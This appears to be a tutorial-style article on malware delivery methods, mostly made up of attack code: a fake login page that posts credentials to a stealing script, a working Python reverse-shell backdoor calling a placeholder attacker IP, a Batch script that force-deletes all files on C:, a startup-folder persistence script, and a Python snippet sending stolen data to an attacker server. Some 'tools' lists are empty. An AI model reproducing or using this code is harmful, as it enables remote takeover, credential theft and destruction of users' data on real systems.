Malware is malicious software designed to disrupt, damage, or gain unauthorized access to computer systems. Below is a detailed explanation of how various malware attack techniques work, along with scripts and examples in Python and Batch.
Malware can be delivered through several methods:
Phishing attacks often use fake login pages to steal user credentials. Here's an example of a simple phishing page structure:
<html> <head><title>Fake Login</title></head> <body> <h1>Login to your account</h1> <form action="steal_credentials.php" method="post"> <input type="text" name="username" placeholder="Username" /><br/> <input type="password" name="password" placeholder="Password" /><br/> <input type="submit" value="Login" /> </form> </body> </html>
Common tools used for phishing include:
Exploiting vulnerabilities in unpatched software is another common malware delivery method. Attackers scan systems for weaknesses, then exploit them to gain unauthorized access.
// Exploit example (pseudocode) if (software_version == vulnerable_version) { run_exploit(); gain_root_access(); }
Popular tools used to exploit vulnerabilities:
Malicious attachments are used to deliver malware by hiding executable code inside seemingly harmless documents like PDFs or Word files.
This Python script opens a backdoor to the system after the user opens the file:
# Example Python backdoor import socket import subprocess def backdoor(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("attacker_ip", 4444)) # Replace with attacker's IP while True: command = s.recv(1024).decode("utf-8") if command.lower() == "exit": break result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = result.stdout.read() + result.stderr.read() s.send(output) s.close() backdoor()
Infected USB drives can automatically execute malicious scripts when plugged into a computer. This method can infect air-gapped systems.
Here's a simple Batch script that deletes files from a system when executed from a USB drive:
:: Malicious Batch script to delete files @echo off echo WARNING: Your system is compromised! del C:\*.* /F /S /Q
Once the malware has infected a system, it will try to hide and maintain persistence. It can do this by modifying system files or adding startup scripts.
This Batch script adds itself to the system startup to ensure it runs every time the computer reboots:
:: Add to startup for persistence @echo off copy %0 %APPDATA%\Microsoft\Windows\Start\Menu\Programs\Startup\persistent.bat
Once installed, the malware communicates with the attacker’s command and control (C2) server to receive instructions or send stolen data.
Here is an example Python script that sends stolen data to an attacker's server:
# Example Python C2 communication script import socket def send_data(data): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("attacker_ip", 5555)) # Replace with attacker's IP s.sendall(data.encode('utf-8')) s.close() stolen_data = "Usernames and Passwords" send_data(stolen_data)
Malware can infect systems through various vectors, from phishing and exploits to malicious attachments and infected USB devices. Awareness of these techniques and the tools used can help in building stronger defenses against such attacks.